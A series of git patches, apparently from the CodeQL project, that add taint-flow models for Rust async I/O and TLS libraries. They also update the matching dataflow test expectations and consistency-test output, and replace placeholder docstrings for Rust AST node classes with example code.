["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read_to_end", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_line", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_until", "Argument[self]", "Argument[1].Reference", "taint", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs index 5dc3bec184d..99ea8004e6a 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs @@ -47,7 +47,7 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { let mut buffer2 = [0u8; 64]; let bytes_read2 = reader.read(&mut buffer2).await?; - sink(&buffer2[..bytes_read2]); // $ MISSING: hasTaintFlow + sink(&buffer2[..bytes_read2]); // $ hasTaintFlow=url } let mut reader2 = futures::io::BufReader::new(reader); @@ -104,7 +104,7 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { let mut buffer2 = [0u8; 64]; let bytes_read2 = reader2.read(&mut buffer2).await?; - sink(&buffer2[..bytes_read2]); // $ MISSING: hasTaintFlow + sink(&buffer2[..bytes_read2]); // $ hasTaintFlow=url } { @@ -129,21 +129,21 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { // using the `AsyncBufReadExt::read_until` extension method let mut line = Vec::new(); let _bytes_read = reader2.read_until(b'\n', &mut line).await?; - sink(&line); // $ MISSING: hasTaintFlow + sink(&line); // $ hasTaintFlow=url } { // using the `AsyncBufReadExt::read_line` extension method let mut line = String::new(); let _bytes_read = reader2.read_line(&mut line).await?; - sink(&line); // $ MISSING: hasTaintFlow + sink(&line); // $ hasTaintFlow=url } { // using the `AsyncBufReadExt::read_to_end` extension method let mut buffer = Vec::with_capacity(1024); let _bytes_read = reader2.read_to_end(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow=url } { From 4d51a15cc4fca88223a4995770d30ffc0a3824e4 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 16 May 2025 13:30:53 +0100 Subject: [PATCH 098/271] Rust: Add model variants for when the qualifier is expressed as an arg (reference). We shouldn't need these. --- rust/ql/lib/codeql/rust/frameworks/futures.model.yml | 4 ++++ .../ql/test/library-tests/dataflow/sources/test_futures_io.rs | 4 ++-- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml index 92affb8dd1f..e098bd5de14 100644 --- a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml @@ -6,6 +6,10 @@ extensions: - ["repo:https://github.com/rust-lang/futures-rs:futures-executor", "crate::local_pool::block_on", "Argument[0]", "ReturnValue", "value", "manual"] - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "::new", "Argument[0]", "ReturnValue", "taint", "manual"] - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read", "Argument[self].Reference", "Argument[0].Reference", "taint", "manual"] - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read_to_end", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read_to_end", "Argument[self].Reference", "Argument[0].Reference", "taint", "manual"] - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_line", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_line", "Argument[self].Reference", "Argument[0].Reference", "taint", "manual"] - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_until", "Argument[self]", "Argument[1].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_until", "Argument[self].Reference", "Argument[1].Reference", "taint", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs index 99ea8004e6a..e1f19658e0a 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs @@ -43,7 +43,7 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { // using the `AsyncReadExt::read` extension method (higher-level) let mut buffer1 = [0u8; 64]; let bytes_read1 = futures::io::AsyncReadExt::read(&mut reader, &mut buffer1).await?; - sink(&buffer1[..bytes_read1]); // $ MISSING: hasTaintFlow + sink(&buffer1[..bytes_read1]); // $ hasTaintFlow=url let mut buffer2 = [0u8; 64]; let bytes_read2 = reader.read(&mut buffer2).await?; @@ -100,7 +100,7 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { // using the `AsyncReadExt::read` extension method (higher-level) let mut buffer1 = [0u8; 64]; let bytes_read1 = futures::io::AsyncReadExt::read(&mut reader2, &mut buffer1).await?; - sink(&buffer1[..bytes_read1]); // $ MISSING: hasTaintFlow + sink(&buffer1[..bytes_read1]); // $ hasTaintFlow=url let mut buffer2 = [0u8; 64]; let bytes_read2 = reader2.read(&mut buffer2).await?; From 10f894b9a1e8fa3edfd0ee1b6956101684063fe4 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 16 May 2025 16:50:55 +0100 Subject: [PATCH 099/271] Rust: Model more methods. --- rust/ql/lib/codeql/rust/frameworks/futures.model.yml | 4 ++++ rust/ql/lib/codeql/rust/frameworks/rustls.model.yml | 2 ++ rust/ql/test/library-tests/dataflow/sources/test.rs | 2 +- .../library-tests/dataflow/sources/test_futures_io.rs | 10 +++++----- 4 files changed, 12 insertions(+), 6 deletions(-) diff --git a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml index e098bd5de14..02f29d23494 100644 --- a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml @@ -13,3 +13,7 @@ extensions: - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_line", "Argument[self].Reference", "Argument[0].Reference", "taint", "manual"] - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_until", "Argument[self]", "Argument[1].Reference", "taint", "manual"] - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_until", "Argument[self].Reference", "Argument[1].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::fill_buf", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::lines", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::stream::stream::StreamExt::next", "Argument[self]", "ReturnValue.Future.Field[crate::option::Option::Some(0)]", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "::poll_fill_buf", "Argument[self].Reference", "ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Ok(0)]", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml b/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml index 1244e05dce9..baa5615d458 100644 --- a/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml @@ -9,4 +9,6 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/quininer/futures-rustls:futures-rustls", "::connect", "Argument[1]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/quininer/futures-rustls:futures-rustls", "::poll_read", "Argument[self].Reference", "Argument[1].Reference", "taint", "manual"] - ["repo:https://github.com/rustls/rustls:rustls", "::reader", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/rustls/rustls:rustls", "::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 604dc86c6d8..342efbba69e 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -783,7 +783,7 @@ fn test_rustls() -> std::io::Result<()> { { let mut buffer = [0u8; 100]; let _bytes = reader.read(&mut buffer)?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow=config_arc } { diff --git a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs index e1f19658e0a..6e7747424d6 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs @@ -34,8 +34,8 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { let mut cx = Context::from_waker(futures::task::noop_waker_ref()); let bytes_read = pinned.poll_read(&mut cx, &mut buffer); if let Poll::Ready(Ok(n)) = bytes_read { - sink(&buffer); // $ MISSING: hasTaintFlow=url - sink(&buffer[..n]); // $ MISSING: hasTaintFlow=url + sink(&buffer); // $ hasTaintFlow=url + sink(&buffer[..n]); // $ hasTaintFlow=url } } @@ -80,7 +80,7 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { { // using the `AsyncBufReadExt::fill_buf` extension method (higher-level) let buffer = reader2.fill_buf().await?; - sink(buffer); // $ MISSING: hasTaintFlow + sink(buffer); // $ hasTaintFlow=url } { @@ -122,7 +122,7 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { { // using the `AsyncBufReadExt::fill_buf` extension method (higher-level) let buffer = reader2.fill_buf().await?; - sink(buffer); // $ MISSING: hasTaintFlow + sink(buffer); // $ hasTaintFlow=url } { @@ -149,7 +149,7 @@ async fn test_futures_rustls_futures_io() -> io::Result<()> { { // using the `AsyncBufReadExt::lines` extension method let mut lines_stream = reader2.lines(); - sink(lines_stream.next().await.unwrap()); // $ MISSING: hasTaintFlow + sink(lines_stream.next().await.unwrap()); // $ hasTaintFlow=url while let Some(line) = lines_stream.next().await { sink(line.unwrap()); // $ MISSING: hasTaintFlow } From 49dabdb8a53ac3c70d30948318067e6a8f7b9373 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 29 May 2025 17:51:44 +0100 Subject: [PATCH 100/271] Rust: Accept consistency test failures. --- .../PathResolutionConsistency.expected | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected index 0aa77163252..b9189f05dc9 100644 --- a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,25 @@ +multipleMethodCallTargets +| test.rs:618:25:618:49 | address.to_socket_addrs() | file://:0:0:0:0 | fn to_socket_addrs | +| test.rs:618:25:618:49 | address.to_socket_addrs() | file://:0:0:0:0 | fn to_socket_addrs | +| test_futures_io.rs:35:26:35:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:35:26:35:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:35:26:35:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:61:22:61:50 | pinned.poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:61:22:61:50 | pinned.poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:68:23:68:67 | ... .poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:68:23:68:67 | ... .poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:92:26:92:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:92:26:92:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:92:26:92:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:115:22:115:50 | pinned.poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:115:22:115:50 | pinned.poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +multiplePathResolutions +| test.rs:777:23:777:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test.rs:777:23:777:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test.rs:777:23:777:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test_futures_io.rs:25:23:25:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test_futures_io.rs:25:23:25:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test_futures_io.rs:25:23:25:61 | ...::try_from | file://:0:0:0:0 | fn try_from | multipleCanonicalPaths | file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | | file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | From 460984bee55fd1f3772a79b2b7fbfe3a98ec2ce8 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 29 May 2025 18:52:49 +0200 Subject: [PATCH 101/271] Rust: add documentation for AST nodes --- rust/schema/annotations.py | 596 +++++++++++++++++++++++++++---------- 1 file changed, 435 insertions(+), 161 deletions(-) diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 2c0aca47fc0..6e76e92d798 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -868,9 +868,12 @@ class _: @annotate(Abi) class _: """ - A Abi. For example: + An ABI specification for an extern function or block. + + For example: ```rust - todo!() + extern "C" fn foo() {} + // ^^^ ``` """ @@ -878,9 +881,12 @@ class _: @annotate(ArgList) class _: """ - A ArgList. For example: + A list of arguments in a function or method call. + + For example: ```rust - todo!() + foo(1, 2, 3); + // ^^^^^^^^^ ``` """ @@ -888,9 +894,12 @@ class _: @annotate(ArrayTypeRepr) class _: """ - A ArrayTypeRepr. For example: + An array type representation. + + For example: ```rust - todo!() + let arr: [i32; 4]; + // ^^^^^^^^ ``` """ @@ -898,9 +907,12 @@ class _: @annotate(AssocItem) class _: """ - A AssocItem. For example: + An associated item in a `Trait` or `Impl`. + + For example: ```rust - todo!() + trait T {fn foo(&self);} + // ^^^^^^^^^^^^^ ``` """ @@ -909,16 +921,19 @@ class _: @qltest.test_with(Trait) class _: """ - A list of `AssocItem` elements, as appearing for example in a `Trait`. + A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. """ @annotate(AssocTypeArg) class _: """ - A AssocTypeArg. For example: + An associated type argument in a path. + + For example: ```rust - todo!() + ::Item + // ^^^^ ``` """ @@ -926,9 +941,13 @@ class _: @annotate(Attr) class _: """ - A Attr. For example: + An attribute applied to an item. + + For example: ```rust - todo!() + #[derive(Debug)] + //^^^^^^^^^^^^^ + struct S; ``` """ @@ -936,9 +955,12 @@ class _: @annotate(ClosureBinder) class _: """ - A ClosureBinder. For example: + A closure binder, specifying lifetime or type parameters for a closure. + + For example: ```rust - todo!() + for <'a> |x: &'a u32 | x + // ^^^^^^ ``` """ @@ -946,9 +968,11 @@ class _: @annotate(Const) class _: """ - A Const. For example: + A constant item declaration. + + For example: ```rust - todo!() + const X: i32 = 42; ``` """ @@ -956,9 +980,12 @@ class _: @annotate(ConstArg) class _: """ - A ConstArg. For example: + A constant argument in a generic argument list. + + For example: ```rust - todo!() + Foo::<3> + // ^ ``` """ @@ -966,9 +993,12 @@ class _: @annotate(ConstParam) class _: """ - A ConstParam. For example: + A constant parameter in a generic parameter list. + + For example: ```rust - todo!() + struct Foo ; + // ^^^^^^^^^^^^^^ ``` """ @@ -976,9 +1006,12 @@ class _: @annotate(DynTraitTypeRepr) class _: """ - A DynTraitTypeRepr. For example: + A dynamic trait object type. + + For example: ```rust - todo!() + let x: &dyn Debug; + // ^^^^^^^^^ ``` """ @@ -986,9 +1019,11 @@ class _: @annotate(Enum) class _: """ - A Enum. For example: + An enum declaration. + + For example: ```rust - todo!() + enum E {A, B(i32), C {x: i32}} ``` """ @@ -996,9 +1031,13 @@ class _: @annotate(ExternBlock) class _: """ - A ExternBlock. For example: + An extern block containing foreign function declarations. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + } ``` """ @@ -1006,9 +1045,11 @@ class _: @annotate(ExternCrate) class _: """ - A ExternCrate. For example: + An extern crate declaration. + + For example: ```rust - todo!() + extern crate serde; ``` """ @@ -1016,9 +1057,14 @@ class _: @annotate(ExternItem) class _: """ - A ExternItem. For example: + An item inside an extern block. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + static BAR: i32; + } ``` """ @@ -1026,20 +1072,29 @@ class _: @annotate(ExternItemList) class _: """ - A ExternItemList. For example: + A list of items inside an extern block. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + static BAR: i32; + } ``` """ -# @annotate(VariantFieldList) @annotate(FieldList) class _: """ - A field of a variant. For example: + A list of fields in a struct or enum variant. + + For example: ```rust - todo!() + struct S {x: i32, y: i32} + // ^^^^^^^^^^^^^^^^ + enum E {A(i32, i32)} + // ^^^^^^^^^^^^^ ``` """ @@ -1047,9 +1102,12 @@ class _: @annotate(FnPtrTypeRepr) class _: """ - A FnPtrTypeRepr. For example: + A function pointer type. + + For example: ```rust - todo!() + let f: fn(i32) -> i32; + // ^^^^^^^^^^^^^^ ``` """ @@ -1057,9 +1115,13 @@ class _: @annotate(ForExpr, replace_bases={Expr: LoopingExpr}, cfg=True) class _: """ - A ForExpr. For example: + A for loop expression. + + For example: ```rust - todo!() + for x in 0..10 { + println!("{}", x); + } ``` """ label: drop @@ -1069,9 +1131,12 @@ class _: @annotate(ForTypeRepr) class _: """ - A ForTypeRepr. For example: + A higher-ranked trait bound(HRTB) type. + + For example: ```rust - todo!() + for <'a> fn(&'a str) + // ^^^^^ ``` """ @@ -1105,9 +1170,12 @@ class _: @annotate(GenericArg) class _: """ - A GenericArg. For example: + A generic argument in a generic argument list. + + For example: ```rust - todo!() + Foo:: + // ^^^^^^^^^^^ ``` """ @@ -1115,9 +1183,12 @@ class _: @annotate(GenericParam) class _: """ - A GenericParam. For example: + A generic parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo(t: T, u: U) {} + // ^ ^ ``` """ @@ -1138,9 +1209,13 @@ class _: @annotate(Impl) class _: """ - A Impl. For example: + An `impl`` block. + + For example: ```rust - todo!() + impl MyTrait for MyType { + fn foo(&self) {} + } ``` """ @@ -1148,9 +1223,12 @@ class _: @annotate(ImplTraitTypeRepr) class _: """ - A ImplTraitTypeRepr. For example: + An `impl Trait` type. + + For example: ```rust - todo!() + fn foo() -> impl Iterator { 0..10 } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -1158,9 +1236,12 @@ class _: @annotate(InferTypeRepr) class _: """ - A InferTypeRepr. For example: + An inferred type (`_`). + + For example: ```rust - todo!() + let x: _ = 42; + // ^ ``` """ @@ -1168,9 +1249,13 @@ class _: @annotate(Item, add_bases=(Addressable,)) class _: """ - A Item. For example: + An item such as a function, struct, enum, etc. + + For example: ```rust - todo!() + fn foo() {} + struct S; + enum E {} ``` """ attribute_macro_expansion: optional[MacroItems] | child | rust.detach @@ -1179,9 +1264,14 @@ class _: @annotate(ItemList) class _: """ - A ItemList. For example: + A list of items in a module or block. + + For example: ```rust - todo!() + mod m { + fn foo() {} + struct S; + } ``` """ @@ -1189,9 +1279,14 @@ class _: @annotate(LetElse) class _: """ - A LetElse. For example: + An else block in a let-else statement. + + For example: ```rust - todo!() + let Some(x) = opt else { + return; + }; + // ^^^^^^ ``` """ @@ -1199,9 +1294,12 @@ class _: @annotate(Lifetime) class _: """ - A Lifetime. For example: + A lifetime annotation. + + For example: ```rust - todo!() + fn foo<'a>(x: &'a str) {} + // ^^ ^^ ``` """ @@ -1209,9 +1307,12 @@ class _: @annotate(LifetimeArg) class _: """ - A LifetimeArg. For example: + A lifetime argument in a generic argument list. + + For example: ```rust - todo!() + Foo<'a> + // ^^ ``` """ @@ -1219,9 +1320,12 @@ class _: @annotate(LifetimeParam) class _: """ - A LifetimeParam. For example: + A lifetime parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo<'a>(x: &'a str) {} + // ^^ ``` """ @@ -1229,9 +1333,12 @@ class _: @annotate(MacroCall, cfg=True) class _: """ - A MacroCall. For example: + A macro invocation. + + For example: ```rust - todo!() + println!("Hello, world!"); + //^^^^^^^ ``` """ macro_call_expansion: optional[AstNode] | child | rust.detach @@ -1240,9 +1347,13 @@ class _: @annotate(MacroDef) class _: """ - A MacroDef. For example: + A macro definition. + + For example: ```rust - todo!() + todo!(); + + ``` """ @@ -1291,9 +1402,13 @@ class _: @annotate(MacroRules) class _: """ - A MacroRules. For example: + A macro definition using the `macro_rules!` syntax. ```rust - todo!() + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } ``` """ @@ -1314,9 +1429,12 @@ class _: @annotate(MacroTypeRepr) class _: """ - A MacroTypeRepr. For example: + A type produced by a macro. + + For example: ```rust - todo!() + type T = macro_type!(); + // ^^^^^^^^^^^^^ ``` """ @@ -1324,9 +1442,16 @@ class _: @annotate(MatchArmList) class _: """ - A MatchArmList. For example: + A list of arms in a match expression. + + For example: ```rust - todo!() + match x { + 1 => "one", + 2 => "two", + _ => "other", + } + // ^^^^^^^^^^^ ``` """ @@ -1334,9 +1459,15 @@ class _: @annotate(MatchGuard) class _: """ - A MatchGuard. For example: + A guard condition in a match arm. + + For example: ```rust - todo!() + match x { + y if y > 0 => "positive", + // ^^^^^^^ + _ => "non-positive", + } ``` """ @@ -1344,9 +1475,12 @@ class _: @annotate(Meta) class _: """ - A Meta. For example: + A meta item in an attribute. + + For example: ```rust - todo!() + #[cfg(feature = "foo")] + // ^^^^^^^^^^^^^^^ ``` """ @@ -1354,9 +1488,12 @@ class _: @annotate(Name, cfg=True) class _: """ - A Name. For example: + An identifier name. + + For example: ```rust - todo!() + let foo = 1; + // ^^^ ``` """ @@ -1364,9 +1501,12 @@ class _: @annotate(NameRef) class _: """ - A NameRef. For example: + A reference to a name. + + For example: ```rust - todo!() + foo(); + //^^^ ``` """ @@ -1374,9 +1514,12 @@ class _: @annotate(NeverTypeRepr) class _: """ - A NeverTypeRepr. For example: + The never type `!`. + + For example: ```rust - todo!() + fn foo() -> ! { panic!() } + // ^ ``` """ @@ -1421,9 +1564,12 @@ class _: @annotate(ParenExpr) class _: """ - A ParenExpr. For example: + A parenthesized expression. + + For example: ```rust - todo!() + (x + y) + //^^^^^ ``` """ @@ -1431,9 +1577,12 @@ class _: @annotate(ParenPat) class _: """ - A ParenPat. For example: + A parenthesized pattern. + + For example: ```rust - todo!() + let (x) = 1; + // ^^^ ``` """ @@ -1441,9 +1590,12 @@ class _: @annotate(ParenTypeRepr) class _: """ - A ParenTypeRepr. For example: + A parenthesized type. + + For example: ```rust - todo!() + let x: (i32); + // ^^^^^ ``` """ @@ -1453,6 +1605,12 @@ class _: class _: """ A path segment, which is one part of a whole path. + For example: + - `HashMap` + - `HashMap` + - `Fn(i32) -> i32` + - `widgets(..)` + - `` """ type_repr: optional["TypeRepr"] | child | rust.detach trait_type_repr: optional["PathTypeRepr"] | child | rust.detach @@ -1462,10 +1620,10 @@ class _: @qltest.test_with(Path) class _: """ - A type referring to a path. For example: + A path referring to a type. For example: ```rust - type X = std::collections::HashMap; - type Y = X::Item; + let x: (i32); + // ^^^ ``` """ @@ -1473,9 +1631,13 @@ class _: @annotate(PtrTypeRepr) class _: """ - A PtrTypeRepr. For example: + A pointer type. + + For example: ```rust - todo!() + let p: *const i32; + let q: *mut i32; + // ^^^^^^^^^ ``` """ @@ -1483,9 +1645,12 @@ class _: @annotate(StructExprFieldList) class _: """ - A StructExprFieldList. For example: + A list of fields in a struct expression. + + For example: ```rust - todo!() + Foo { a: 1, b: 2 } + // ^^^^^^^^^^^ ``` """ @@ -1493,9 +1658,12 @@ class _: @annotate(StructField) class _: """ - A StructField. For example: + A field in a struct declaration. + + For example: ```rust - todo!() + struct S { x: i32 } + // ^^^^^^^ ``` """ @@ -1503,9 +1671,12 @@ class _: @annotate(StructFieldList) class _: """ - A field list of a struct expression. For example: + A list of fields in a struct declaration. + + For example: ```rust - todo!() + struct S { x: i32, y: i32 } + // ^^^^^^^^^^^^^^^ ``` """ @@ -1513,9 +1684,12 @@ class _: @annotate(StructPatFieldList) class _: """ - A StructPatFieldList. For example: + A list of fields in a struct pattern. + + For example: ```rust - todo!() + let Foo { a, b } = foo; + // ^^^^^ ``` """ @@ -1523,9 +1697,13 @@ class _: @annotate(RefTypeRepr) class _: """ - A RefTypeRepr. For example: + A reference type. + + For example: ```rust - todo!() + let r: &i32; + let m: &mut i32; + // ^^^^^^^^ ``` """ @@ -1533,9 +1711,12 @@ class _: @annotate(Rename) class _: """ - A Rename. For example: + A rename in a use declaration. + + For example: ```rust - todo!() + use foo as bar; + // ^^^^^^ ``` """ @@ -1543,9 +1724,12 @@ class _: @annotate(RestPat, cfg=True) class _: """ - A RestPat. For example: + A rest pattern (`..`) in a tuple, slice, or struct pattern. + + For example: ```rust - todo!() + let (a, .., z) = (1, 2, 3); + // ^^ ``` """ @@ -1553,9 +1737,12 @@ class _: @annotate(RetTypeRepr) class _: """ - A RetTypeRepr. For example: + A return type in a function signature. + + For example: ```rust - todo!() + fn foo() -> i32 {} + // ^^^^^^ ``` """ @@ -1563,9 +1750,22 @@ class _: @annotate(ReturnTypeSyntax) class _: """ - A ReturnTypeSyntax. For example: + A return type notation `(..)` to reference or bound the type returned by a trait method + + For example: ```rust - todo!() + struct ReverseWidgets> { + factory: F, + } + + impl Factory for ReverseWidgets + where + F: Factory, + { + fn widgets(&self) -> impl Iterator { + self.factory.widgets().rev() + } + } ``` """ @@ -1593,9 +1793,12 @@ class _: @annotate(SliceTypeRepr) class _: """ - A SliceTypeRepr. For example: + A slice type. + + For example: ```rust - todo!() + let s: &[i32]; + // ^^^^^ ``` """ @@ -1603,9 +1806,12 @@ class _: @annotate(SourceFile) class _: """ - A SourceFile. For example: + A source file. + + For example: ```rust - todo!() + // main.rs + fn main() {} ``` """ @@ -1613,9 +1819,11 @@ class _: @annotate(Static) class _: """ - A Static. For example: + A static item declaration. + + For example: ```rust - todo!() + static X: i32 = 42; ``` """ @@ -1623,9 +1831,15 @@ class _: @annotate(StmtList) class _: """ - A StmtList. For example: + A list of statements in a block. + + For example: ```rust - todo!() + { + let x = 1; + let y = 2; + } + // ^^^^^^^^^ ``` """ @@ -1635,7 +1849,10 @@ class _: """ A Struct. For example: ```rust - todo!() + struct Point { + x: i32, + y: i32, + } ``` """ field_list: _ | ql.db_table_name("struct_field_lists_") @@ -1644,9 +1861,16 @@ class _: @annotate(TokenTree) class _: """ - A TokenTree. For example: + A token tree in a macro definition or invocation. + + For example: ```rust - todo!() + println!("{} {}!", "Hello", "world"); + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ``` + ``` + macro_rules! foo { ($x:expr) => { $x + 1 }; } + // ^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -1671,9 +1895,11 @@ class _: @annotate(TraitAlias) class _: """ - A TraitAlias. For example: + A trait alias. + + For example: ```rust - todo!() + trait Foo = Bar + Baz; ``` """ @@ -1681,9 +1907,12 @@ class _: @annotate(TryExpr, cfg=True) class _: """ - A TryExpr. For example: + A try expression using the `?` operator. + + For example: ```rust - todo!() + let x = foo()?; + // ^ ``` """ @@ -1691,9 +1920,12 @@ class _: @annotate(TupleField) class _: """ - A TupleField. For example: + A field in a tuple struct or tuple enum variant. + + For example: ```rust - todo!() + struct S(i32, String); + // ^^^ ^^^^^^ ``` """ @@ -1701,9 +1933,12 @@ class _: @annotate(TupleFieldList) class _: """ - A TupleFieldList. For example: + A list of fields in a tuple struct or tuple enum variant. + + For example: ```rust - todo!() + struct S(i32, String); + // ^^^^^^^^^^^^^ ``` """ @@ -1711,9 +1946,12 @@ class _: @annotate(TupleTypeRepr) class _: """ - A TupleTypeRepr. For example: + A tuple type. + + For example: ```rust - todo!() + let t: (i32, String); + // ^^^^^^^^^^^^^ ``` """ @@ -1736,9 +1974,12 @@ class _: @annotate(TypeArg) class _: """ - A TypeArg. For example: + A type argument in a generic argument list. + + For example: ```rust - todo!() + Foo:: + // ^^^ ``` """ @@ -1746,9 +1987,12 @@ class _: @annotate(TypeBound) class _: """ - 